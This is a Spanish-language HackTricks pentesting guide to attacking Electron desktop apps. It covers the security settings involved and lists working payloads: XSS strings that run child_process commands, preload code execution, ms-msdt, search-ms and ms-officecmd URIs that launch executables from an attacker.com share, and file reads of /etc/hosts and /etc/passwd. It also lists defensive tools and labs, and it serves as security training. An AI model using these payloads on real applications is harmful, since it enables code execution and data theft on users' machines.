hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps
2024-02-05 02:44:49 +00:00
..
electron-contextisolation-rce-via-electron-internal-code.md Translated ['linux-hardening/privilege-escalation/electron-cef-chromium- 2023-10-27 16:24:02 +00:00
electron-contextisolation-rce-via-ipc.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-02-05 02:44:49 +00:00
electron-contextisolation-rce-via-preload-code.md Translated ['network-services-pentesting/pentesting-printers/cross-site- 2024-01-08 12:43:59 +00:00
README.md Translated ['network-services-pentesting/pentesting-web/README.md', 'net 2023-12-31 02:48:25 +00:00

Aplicaciones de Escritorio Electron

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Introducción

Electron se basa en Chromium, pero no es un navegador. Ciertos principios y mecanismos de seguridad implementados por navegadores modernos no están presentes.
Podrías ver a Electron como una aplicación local de backend+frontend donde NodeJS es el backend y chromium es el frontend.

Usualmente podrías encontrar el código de la aplicación electron dentro de una aplicación .asar, para obtener el código necesitas extraerlo:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

En el código fuente de una app Electron, dentro de packet.json, puedes encontrar especificado el archivo main.js donde se establecen las configuraciones de seguridad.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron tiene 2 tipos de procesos:

  • Proceso Principal (tiene acceso completo a NodeJS)
  • Proceso de Renderizado (debería tener acceso restringido a NodeJS por razones de seguridad)

Un proceso de renderizado será una ventana del navegador cargando un archivo:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

La configuración del proceso de renderizado puede ser configurada en el proceso principal dentro del archivo main.js. Algunas de las configuraciones evitarán que la aplicación Electron obtenga RCE u otras vulnerabilidades si las configuraciones están correctamente establecidas.

La aplicación de escritorio podría tener acceso al dispositivo del usuario a través de las APIs de Node. Las siguientes dos configuraciones son responsables de proporcionar mecanismos para evitar que el JavaScript de la aplicación tenga acceso directo al dispositivo del usuario y a los comandos a nivel de sistema.

  • nodeIntegration - está off por defecto. Si está activado, permite acceder a las características de node desde el proceso de renderizado.
  • contextIsolation - está on por defecto. Si está activado, los procesos principal y de renderizado no están aislados.
  • preload - vacío por defecto.
  • sandbox - está off por defecto. Restringirá las acciones que NodeJS puede realizar.
  • Integración de Node en Workers
  • nodeIntegrationInSubframes- está off por defecto.
  • Si nodeIntegration está habilitado, esto permitiría el uso de las APIs de Node.js en páginas web que se cargan en iframes dentro de una aplicación Electron.
  • Si nodeIntegration está deshabilitado, entonces los preloads se cargarán en el iframe

Ejemplo de configuración:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Algunos RCE payloads de aquí:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Captura de tráfico

Modifica la configuración de start-main y añade el uso de un proxy como:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Inyección de Código Local en Electron

Si puedes ejecutar localmente una App de Electron, es posible que puedas hacer que ejecute código javascript arbitrario. Consulta cómo en:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}

RCE: XSS + nodeIntegration

Si nodeIntegration está configurado en on, el JavaScript de una página web puede usar las características de Node.js fácilmente simplemente llamando a require(). Por ejemplo, la forma de ejecutar la aplicación calc en Windows es:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

El script indicado en esta configuración se carga antes que otros scripts en el renderizador, por lo que tiene acceso ilimitado a las APIs de Node:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Por lo tanto, el script puede exportar características de node a páginas:

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
{% endcode %}

{% code title="index.html" %}
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

{% endcode %}

{% hint style="info" %} Si contextIsolation está activado, esto no funcionará {% endhint %}

RCE: XSS + contextIsolation

El contextIsolation introduce contextos separados entre los scripts de la página web y el código interno de JavaScript de Electron para que la ejecución de JavaScript de cada código no afecte al otro. Esta es una característica necesaria para eliminar la posibilidad de RCE.

Si los contextos no están aislados, un atacante puede:

  1. Ejecutar JavaScript arbitrario en el renderizador (XSS o navegación a sitios externos)
  2. Sobrescribir el método incorporado que se utiliza en el código de precarga o en el código interno de Electron por su propia función
  3. Desencadenar el uso de la función sobrescrita
  4. ¿RCE?

Hay 2 lugares donde se pueden sobrescribir los métodos incorporados: En el código de precarga o en el código interno de Electron:

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}

Evitar evento de clic

Si hay restricciones aplicadas cuando haces clic en un enlace, podrías ser capaz de evitarlas haciendo un clic con el botón central en lugar de un clic izquierdo regular.

window.addEventListener('click', (e) => {

RCE a través de shell.openExternal

Si la aplicación de escritorio Electron se implementa con la configuración adecuada de nodeIntegration, contextIsolation; simplemente significa que no se puede lograr un RCE del lado del cliente al apuntar a scripts de precarga o código nativo de Electron desde el proceso principal.

Cada vez que un usuario hace clic en el enlace o abre una nueva ventana, se invocan los siguientes oyentes de eventos:

{% code overflow="wrap" %}

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

{% endcode %}

La aplicación de escritorio sobrescribe estos listeners para implementar la propia lógica de negocio de la aplicación de escritorio. Durante la creación de nuevas ventanas, la aplicación verifica si el enlace navegado debe abrirse en una ventana o pestaña de la aplicación de escritorio, o si debe abrirse en el navegador web. En nuestro ejemplo, la verificación se implementa con la función openInternally, si devuelve false, la aplicación asumirá que el enlace debe abrirse en el navegador web utilizando la función shell.openExternal.

Aquí hay un pseudocódigo simplificado:

De acuerdo con las mejores prácticas de seguridad de Electron JS, la función openExternal no debe aceptar contenido no confiable porque eso podría llevar a RCE abusando de diferentes protocolos si la aplicación no limita la navegación de los usuarios a través de protocolos como https:// o http://.

Diferentes sistemas operativos admiten diferentes protocolos que podrían desencadenar RCE, para más información sobre ellos consulta https://positive.security/blog/url-open-rce pero aquí tienes algunos ejemplos de Windows:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>


<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
</script>


<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Para más información sobre estos ejemplos, consulta https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 y https://benjamin-altpeter.de/shell-openexternal-dangers/

Leer Archivos Internos: XSS + contextIsolation

Si contextIsolation está configurado en false, puedes intentar usar <webview> (similar a <iframe> pero puede cargar archivos locales) para leer archivos locales y exfiltrarlos: usando algo como <webview src=”file:///etc/passwd”></webview>:

Otra forma de leer un archivo interno de este informe:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Chromium Antiguo

Si el chromium utilizado por la aplicación es antiguo y existen vulnerabilidades conocidas en él, podría ser posible explotarlo y obtener RCE a través de un XSS.
Puedes ver un ejemplo en este informe: https://blog.electrovolt.io/posts/discord-rce/

Phishing XSS mediante bypass de regex de URL interna

Suponiendo que encontraste un XSS pero no puedes activar RCE ni robar archivos internos, podrías intentar usarlo para robar credenciales mediante phishing.

Primero que nada necesitas saber qué sucede cuando intentas abrir una nueva URL, revisando el código JS en el front-end:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

La llamada a openInternally decidirá si el enlace se abrirá en la ventana de escritorio ya que es un enlace que pertenece a la plataforma, o si se abrirá en el navegador como un recurso de terceros.

En el caso de que la expresión regular utilizada por la función sea vulnerable a omisiones (por ejemplo, por no escapar los puntos de los subdominios), un atacante podría abusar del XSS para abrir una nueva ventana que estará ubicada en la infraestructura del atacante solicitando credenciales al usuario:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Herramientas

  • Electronegativity es una herramienta para identificar configuraciones erróneas y antipatrones de seguridad en aplicaciones basadas en Electron.
  • Electrolint es un complemento de código abierto para VS Code para aplicaciones Electron que utiliza Electronegativity.
  • nodejsscan para verificar bibliotecas de terceros vulnerables
  • Electro.ng: Necesitas comprarlo

Laboratorios

En https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s puedes encontrar un laboratorio para explotar aplicaciones Electron vulnerables.

Algunos comandos que te ayudarán con el laboratorio:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Referencias

Aprende a hackear AWS desde cero hasta héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: